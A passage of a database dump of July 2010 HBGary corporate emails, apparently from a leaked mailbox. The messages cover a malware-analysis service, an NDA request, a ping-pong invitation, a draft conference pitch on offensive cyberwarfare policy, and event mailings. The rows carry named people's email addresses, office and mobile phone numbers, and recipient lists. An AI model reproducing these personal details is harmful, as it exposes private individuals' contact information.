Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: Truman Project/TMC','I\'ve now seen a Truman report. &nbsp;Standard dynamic analysis. &nbsp;Decent report. &nbsp;No strategic data.You just email the malware and then you get a reply with the report in less than an hour. &nbsp;Not sure how it deals with dlls yet. &nbsp;Sent from my iPhoneOn Jul 2, 2010, at 17:20, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nhttp://www.secureworks.com/research/tools/truman.html\r\n\r\n&nbsp;\r\n\r\nMartin, Phil needs to understand capabilities of TMC.&nbsp;\r\nSecureworks is saying this is their solutions.&nbsp; It’s GNU and Linux based,\r\nno VM’s.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15318,'aaron_hbgary_com/15318.html'),(8288,'2010-07-08','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297006442.M152658P14101Q3143.eml','aaron@hbgary.com,aaron@hbgary.com,','ManTech--HB Gary--Gatorbait Opportunity--NDA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.\r\n\r\n&nbsp; \r\n\r\nAttached you\r\nwill find our standard Non-Disclosure Agreement to discuss teaming with ManTech\r\non the Gatorbait effort.&nbsp; Please review it, sign it, and return it back to\r\nme.&nbsp; A fully executed agreement will then be sent to you.&nbsp; If you\r\nbelieve changes need to be made, please let me know your suggested\r\nchanges.&nbsp; I can send you a word copy and you can turn on &#8220;track\r\nchanges&#8221; to help speed the process.\r\n\r\n&nbsp;\r\n\r\nPlease email or\r\ncall if you have any questions.&nbsp; Thank you for your help.\r\n\r\n&nbsp;&nbsp; \r\n\r\nBest Regards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5260,'aaron_hbgary_com/5260.html'),(8289,'2010-07-08','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297006442.M460308P14101Q3144.eml','\"Inc. HBGARY\" <All@hbgary.com>','Reminder:  hours are due Monday','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease input your hours in QB.&nbsp; Barbara comes in on Monday.\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6194,'aaron_hbgary_com/6194.html'),(8290,'2010-07-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006442.M690041P14101Q3145.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Matthew Steckman\" <msteckman@palantir.com>','Re: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul 10, 	2010 12:30am (msteckman@palantirtech.com)','Likely excuse. &nbsp;Bob how is next Friday?On a separate note Matt, can you hook me and Penny up with the Vint Cerf talk?There is a personal connection between penny and Vint and if you can swing it penny is going to stick around to attend.Btw I have been talking with a few OSD folks the last few days and a lot of interest on the Palantir/HBGary connection.AaronSent from my iPhoneOn Jul 8, 2010, at 2:10 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\nUnfortunately I have to go to a client in NYC on Friday.&nbsp; Can we push this to next Friday?\r\n&nbsp;\r\nMatthew Steckman\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\nmsteckman@palantir.com | 202-257-2270\r\n&nbsp;\r\n&nbsp;\r\n-----Original Appointment-----\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\nSent: Wednesday, June 23, 2010 10:41 PM\r\n\r\nTo: Aaron Barr; bob@hbgary.com; Matthew Steckman; David Worn; Paul Hadjy; Tri Tang; Keyur Parikh\r\n\r\nSubject: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul 10, 2010 12:30am (msteckman@palantirtech.com)\r\n\r\nWhen: Friday, July 09, 2010 11:30 AM-12:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Palantir Office, Tysons Corner, VA\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nmore\r\ndetails »\r\n\r\nPing Pong Challenge\r\nScheduled around lunch time so we can take advantage of Palantirs catered lunch.\r\n\r\n\r\n\r\n\r\nWhen\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fri Jul 9 11:30pm – Sat Jul 10, 2010 12:30am Eastern Time\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nWhere\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Office, Tysons Corner, VA (map)\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nCalendar\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nWho\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; •\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr - organizer\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n•\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bob@hbgary.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n•\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nGoing?&nbsp;&nbsp; Yes\r\n- Maybe\r\n- No&nbsp;&nbsp;&nbsp;\r\nmore\r\noptions »\r\n\r\n\r\n\r\nInvitation from Google Calendar\r\nYou are receiving this courtesy email at the account msteckman@palantirtech.com because you are an attendee of this event.\r\nTo stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account at\r\nhttps://www.google.com/calendar/ and control your notification settings for your entire calendar.\r\n\r\n\r\n\r\n &lt;&lt; File: invite.ics &gt;&gt; \r\n&nbsp;\r\n\r\n\r\n\r\n',15641,'aaron_hbgary_com/15641.html'),(8291,'2010-07-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006442.M930258P14101Q3146.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Fwd: RSA Keynote Panel Idea','Can we pitch Aaron for the panel?  Not sure the govt focus is good for RSA tho.\r\n\r\n---------- Forwarded message ----------\r\nFrom: Aaron Barr \r\nDate: Friday, July 2, 2010\r\nSubject: RSA Keynote Panel Idea\r\nTo: Greg Hoglund \r\n\r\n\r\nGreg,\r\nThe following paragraph is for your consumption.\r\nThere is no doubt in my mind that offense, while only carefully\r\ntouched on publicly will gain increasing momentum in the months to\r\ncome.  What organizations are struggling with right now is\r\nauthorities.  CIA, NSA, Pentagon, CyberCOM have specific authorities\r\nunder which to engage in cyberwarfare, and they can not deviate from\r\nthese authorities.  The organization with the widest range of\r\nauthorities is the CIA, so we should look for them to play a much more\r\nsignificant role and enable NSA and DoD objectives.\r\n-------------TEAR LINE--------\r\nTOPICOrganizations can not undergo cyberwarfare, they put themselves\r\nin a very legally liable place if they try anything offensive.  So it\r\nthen becomes the burden of government.  Unfortunately despite some\r\ntinfoil hat opinions (and a few highly publicized eavesdropping cases)\r\nwe are under onerous legal and policy restrictions from being as\r\naggressive as we need to be on offense.  Each organization has certain\r\nauthorities to act under specific conditions; FBI, CIA, NSA, DoD all\r\nhave to abide by title and authority guidelines that favor separation\r\nof powers, caution, and privacy over capabilities.\r\nTitle: Evolving the State of CyberwarfareOur adversaries are in our\r\nnetworks and have steady streams of PII, Money, and Intellectual\r\nproperty flowing out of our government and corporate organizations.\r\nWith the rise in social media it has become even easier to mine\r\ndigital artifacts on individuals and corporations for information\r\nreconnaissance and exploitation.  The digital tide is rising against\r\nus and it is clear defense alone can not protect our critical\r\ninformation and resources.  Every market segment is falling\r\nsusceptible to exploitation, from our banks, energy, technology, and\r\nmilitary.  From the DNI, USCyber Command to the Defense Industrial\r\nBase, the call to develop new cyberwarfare capabilities and update our\r\nlaws and policies to bring the fight to the attackers has been\r\ngrowing.  In this keynote panel we will discuss the new area of\r\ncyberwarfare and discuss the pros and cons of this evolving\r\ncybersecurity approach.\r\nThoughts?\r\nI have to clean a bit to get ready for some company.  If you want to\r\nwork on this and send back another version I will work on it some\r\nmore..\r\nAaron  We\'ve always know that the bad guys are in our networks -- but\r\nnow, in many cases, we know their identity so we can target these\r\nattackers who are successfully phishing our social networks for\r\nemployees with access to sensitive corporate and nation-state secrets\r\nas well as conducting billions of dollars of online fraud and other\r\ncrimes. From US Cyber Command, Gen. Keith Alexander to large aerospace\r\nand defense companies, the call to develop new cyberwarfare offensive\r\ntools and policies to go after these attackers has been growing. In\r\nthis keynote panel, we will discuss this new era of cybersecurity\r\nwarfare and discuss the pros and cons of this offensive cybersecurity\r\napproach.\r\nOn Jul 2, 2010, at 4:19 PM, Greg Hoglund wrote:\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Karen Burke \r\nDate: Fri, Jul 2, 2010 at 10:43 AM\r\nSubject: RSA Keynote Panel Idea\r\nTo: Greg Hoglund \r\n\r\n\r\nHi Greg, After we spoke, I did a little research and found this recent\r\narticle about Boeing, whose employees have been phished, etc. by\r\nattackers to get info. The piece focuses on the need for organizations\r\nto develop their own cyberwarfare policies/tools.\r\nhttp://www.theaustralian.com.au/australian-it/the-hub/boeing-among-defence-firms-fighting-cyber-terrorism/story-fn4mm2dt-1225883695304\r\n\r\n\r\nThe new CyberCommand has been talking about the need for cybersecurity\r\noffense approach. We can expect this to possibly be a hot topic in the\r\nyear+ ahead.\r\n\r\nHere is a possible keynote panel idea -- please edit as you see fit.\r\nDon\'t love this title, but you can amend.\r\n\r\nThe New Era of Cybersecurity Warfare: Taking The Fight To The Attackers\r\nWe\'ve always know that the bad guys are in our networks -- but now, in\r\nmany cases, we know their identity so we can target these attackers\r\nwho are successfully phishing our social networks for employees with\r\naccess to sensitive corporate and nation-state secrets as well as\r\nconducting billions of dollars of online fraud and other crimes. From\r\nUS Cyber Command, Gen. Keith Alexander to large aerospace and defense\r\ncompanies, the call to develop new cyberwarfare offensive tools and\r\npolicies to go after these attackers has been growing. In this keynote\r\npanel, we will discuss this new era of cybersecurity warfare and\r\ndiscuss the pros and cons of this offensive cybersecurity approach.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n',13646,'aaron_hbgary_com/13646.html'),(8292,'2010-07-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006443.M173367P14101Q3147.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Matthew Steckman\" <msteckman@palantir.com>','RE: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul 10, 	2010 12:30am (msteckman@palantirtech.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Matthew,\r\n\r\n&nbsp;\r\n\r\nNext Friday is possible but I’d have to leave by 1 pm\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\n\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, July 08, 2010 4:14 PM\r\nTo: Matthew Steckman\r\nCc: bob@hbgary.com\r\nSubject: Re: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat\r\nJul 10, 2010 12:30am (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLikely excuse. &nbsp;Bob how is next Friday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn a separate note Matt, can you hook me and Penny up with\r\nthe Vint Cerf talk?\r\n\r\n\r\n\r\n\r\n\r\nThere is a personal connection between penny and Vint and if\r\nyou can swing it penny is going to stick around to attend.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBtw I have been talking with a few OSD folks the last few\r\ndays and a lot of interest on the Palantir/HBGary connection.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 8, 2010, at 2:10 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUnfortunately I have to go to a client in NYC on Friday.&nbsp;\r\nCan we push this to next Friday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com |\r\n202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Wednesday, June 23, 2010 10:41 PM\r\nTo: Aaron Barr; bob@hbgary.com;\r\nMatthew Steckman; David Worn; Paul Hadjy; Tri Tang; Keyur Parikh\r\nSubject: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul\r\n10, 2010 12:30am (msteckman@palantirtech.com)\r\nWhen: Friday, July 09, 2010 11:30 AM-12:30 PM (GMT-05:00) Eastern Time\r\n(US &amp; Canada).\r\nWhere: Palantir Office, Tysons Corner, VA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  more details »\r\n  \r\n  Ping Pong Challenge\r\n  \r\n  \r\n  Scheduled\r\n  around lunch time so we can take advantage of Palantirs catered lunch.\r\n  \r\n  \r\n   \r\n    \r\n    When\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fri\r\n    Jul 9 11:30pm – Sat Jul 10, 2010 12:30am Eastern Time\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Where\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir\r\n    Office, Tysons Corner, VA (map)\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Calendar\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Who\r\n    \r\n    \r\n    \r\n     \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr - organizer\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n     \r\n      \r\n      •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bob@hbgary.com\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n     \r\n      \r\n      •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    \r\n   \r\n  \r\n  \r\n  Going?&nbsp;&nbsp;\r\n  Yes - Maybe - No&nbsp;&nbsp;&nbsp; more options »\r\n  \r\n  \r\n \r\n \r\n  \r\n  Invitation from Google\r\n  Calendar \r\n  \r\n  You are receiving this courtesy email at the account msteckman@palantirtech.com because\r\n  you are an attendee of this event.\r\n  \r\n  \r\n  To stop receiving future notifications for this event,\r\n  decline this event. Alternatively you can sign up for a Google account at https://www.google.com/calendar/\r\n  and control your notification settings for your entire calendar.\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&lt;&lt;\r\nFile: invite.ics &gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 07/08/10\r\n02:36:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5611,'aaron_hbgary_com/5611.html'),(8293,'2010-07-08','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297006443.M414942P14101Q3148.eml','aaron@hbgary.com','AFCEA International Government Heroine  Award – Looking for Nominees','\r\n\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n  \r\n  \r\n    &nbsp;\r\n\r\n		\r\n  &nbsp;\r\n   \r\n  \r\n\r\n  \r\n    Heroines in Technology\r\n      An Awards Gala benefiting the March of Dimes\r\n      Friday, November 12, 2010\r\n      Hyatt Regency Reston\r\n      Since 2001, March of Dimes has conducted Heroines in Technology, a gala to recognize and honor women in the field of technology for their dedication to community service.&nbsp; Heroines in Technology will take place on Friday, November 12, 2010 at the Hyatt Regency Reston in Reston Town Center.&nbsp; This event includes a cocktail reception, dinner, live band and dancing and both live and silent auctions.&nbsp; \r\n      &nbsp;\r\n      Call for Nominations!\r\n      Do you know a woman who works in the technology industry and exemplifies volunteer service in the community?&nbsp; If so, you can nominate her to become a &ldquo;heroine in technology&rdquo; and be honored at the upcoming gala.&nbsp; At the gala, we will honor the &nbsp;finalists and announce the award winners in the following categories: Individual, Corporate, Government, Rising Star and Lifetime Achievement. New to the event is the AFCEA International Government Heroine Award, which will recognize women employed in &nbsp;Federal, State or Local Government who exhibit extraordinary volunteerism in endeavors over and above the mandates of their Government role. &nbsp;All award finalists and winners are decided by a committee of past Heroines. \r\n      Click here to submit an award nomination. &nbsp;\r\n      Nominations are open now through August 1, 2010.       &nbsp;\r\n      For more information about Heroines in Technology please visit the event website. \r\n      Interested in volunteering? Contact Kate Leib at 703-824-0111 ext. 21 or kleib@marchofdimes.com.       &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\n\">http://www.afcea.org\r\n\r\n    \r\n  \r\n\r\n	  	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4098,'aaron_hbgary_com/4098.html'),(8294,'2010-07-08','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297006443.M662121P14101Q3149.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Jim Garrettson\" <jimg@executivebiz.com>,\"JD Kathuria\" <jd@executivebiz.com>,\"Sheri Page\" <sheri@thtweb.com>,\"Alyce Morrison\" <alyce@executivebiz.com>,\"Scott  Rogers\" <scott@executivebiz.com>,\"Zalmai Azmi\" <zazmi@caci.com>,\"Carroll, Shawn (QGSI)\" <Shawn.Carroll@qwest.com>,lance.cottrell@abraxascorp.com,coxld@saic.com,\"Robert Dix\" <rdix@juniper.net>,\"Fast, Barbara G\" <barbara.g.fast@boeing.com>,michael.fraser@usis.com,gjg@mitre.org,\"steve_k_hawkins@raytheon.com\" <steve_k_hawkins@raytheon.com>,rodney.joffe@neustar.biz,david_joslin@federal.dell.com,\"jkoenig@harris.com\" <jkoenig@harris.com>,plamontagne@paradigmsolutions.com,scottmil@microsoft.com,\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>,\"Payne, James F  X\" <jpayne@telcordia.com>,jreagan@deloitte.com,nadia.short@gd-ais.com,svisner@csc.com,\"Warden, Kathy J (IS)\" <Kathy.Warden@ngc.com>,\"John Watters\" <jwatters@isightpartners.com>,bmalexia@rockwellcollins.com,\"roger_anderson@appsig.com\" <roger_anderson@appsig.com>,\"Aaron Barr\" <aaron@hbgary.com>,pat.burke@sra.com,wcooper@cisco.com,Skip.Foote@AmericanSystems.com,\"Tiffany Jones\" <tiffany_jones@symantec.com>,alexander.miller@l-3com.com,jmoorcones@safenet-inc.com,\"Charles Palmer\" <ccpalmer@us.ibm.com>,bill.phelps@accenture.com,\"kenneth.sannicolas@stanleyassociates.com\" <kenneth.sannicolas@stanleyassociates.com>,dusty.wince@knowledgecg.com','Cyber Group Breakfast Meeting Hosted by ExecutiveBiz - Bill Varner Chairman','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, August 03, 2010 7:30 AM-9:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Tower Club, Tyson\'s Corner, Virginia\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nWhen: Tuesday, August 3, 2010 7:30 AM-9:00 AM (GMT-07:00) Eastern Time (US &amp; Canada).\r\nWhere: Tower Club – Tyson’s Corner, Virginia\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n----------------------------------------------------------------------------------------------------------------------------------------------\r\n&nbsp;\r\nGood Afternoon Cyber Group,\r\nPer the request of the chairman and various group members, ExecutiveBiz is pleased to sponsor a working breakfast meeting for the Cyber Group.&nbsp; This is not a required part of your 4x24 membership, but we hope that you all will see the benefit in what the\r\ngroup chair is hoping to achieve with this group.\r\n&nbsp;\r\n“I would like to use our group as more than a periodic dinner meeting, as a real and virtual forum to help influence the outcome of some of these defining events. Together we represent most of the large companies in our industry, and we should be\r\nable to identify issues that we all have in common and try to influence the future of cyber. I believe we can put aside our competitive interests and work together in the best interests of our government. We face a huge and growing problem, and I believe the\r\nsolution lies not in a government or industry answer, but rather a common approach. I look forward to working with you to help define our future. A famous Redskins coach used to say that “the future is now”, and I believe that is true for our industry right\r\nnow also.”\r\n&nbsp;\r\nThe topics for this meeting will be:\r\n&nbsp;\r\n\r\nFinalize the Group Charter/Mission StatementDialogue around the draft National Strategy for Trusted Identities in Cyberspace (released by Howard Schmidt on 6/25) http://www.whitehouse.gov/blog/2010/06/25/national-strategy-trusted-identities-cyberspaceBrief comments around future speakers\r\n&nbsp;\r\nSpace is limited, please RSVP by Monday July 19, 2010 and call me directly with any questions.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nSincerely,\r\n&nbsp;\r\nJennifer Jordan-Harrell\r\nGroup Manager\r\n&nbsp;\r\nExecutiveBiz\r\n703-226-7016\r\njennifer@executivebiz.com\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',12757,'aaron_hbgary_com/12757.html'),(8295,'2010-07-08','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297006443.M884768P14101Q3150.eml','aaron@hbgary.com','New AFCEA Professional Development Center Course Catalog is in the mail','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		            \r\n		  \r\n		  Look for the NEW AFCEA Professional Development Center (PDC) Course Catalog in the mail. \r\n		   The Catalog has a new easy-to-read calendar.\r\n You may find our course listing at:\r\nhttp://pdc.afcea.org\r\nSpring 2010 - 2011 COURSE CATALOG\r\n\r\nCourses offered in July - August: \r\n    387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n    382 (ISC)2 DoD CAP - Certification and Accreditation Professional; July 27-29.\r\n    388 NEW! Advanced Cyber Network Defense Training; July 27-30. \r\n    381 CompTIA Security+ (2008) Edition Certification Course; Aug. 2-5. EXAM on Aug. 6.\r\n    There is a separate registration and tuition for the exam.&nbsp; See attached link:&nbsp;\r\n    Comp TIA Security+ EXAM Registration\r\n    701 Introduction to Electromagnetic Compatibility; Aug 23, Herndon, VA \r\n    705 Shielded Enclosures; Aug 24, Herndon VA. \r\n    706 Shielding Effectiveness Testing;&nbsp; Aug 25-26, Herndon VA.\r\n    707 Construction of Electromagnetically Shielded Enclosures; Aug 27, Herndon VA.    \r\n    For discounted tuition:&nbsp; If you are not already an AFCEA member and want to take advantage of reduced tuitions for members and other  benefits, please go to AFCEA International - The Armed Forces Communications and Electronics Association to become a member.\r\nAll Course will be held in Fairfax, VA, unless otherwise noted.\r\nFor full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n    \r\n  Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland (703) 631-6137.\r\n\r\n\r\n  Questions? Call the PDC Registrar, at 703-631-6137 or email Registrar.    \r\n\r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please\r\n  Click Here\r\n        \r\n        AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org\r\n\r\n\r\n\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n',936,'aaron_hbgary_com/936.html'),(8296,'2010-07-08','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297006444.M128199P14101Q3151.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul 10, 	2010 12:30am (msteckman@palantirtech.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTrae is the master of the PNL invite list.  Trae, can we hook\r\nAaron and Penny up with RSVPs to PNL?\r\n\r\n&nbsp;\r\n\r\nExcellent 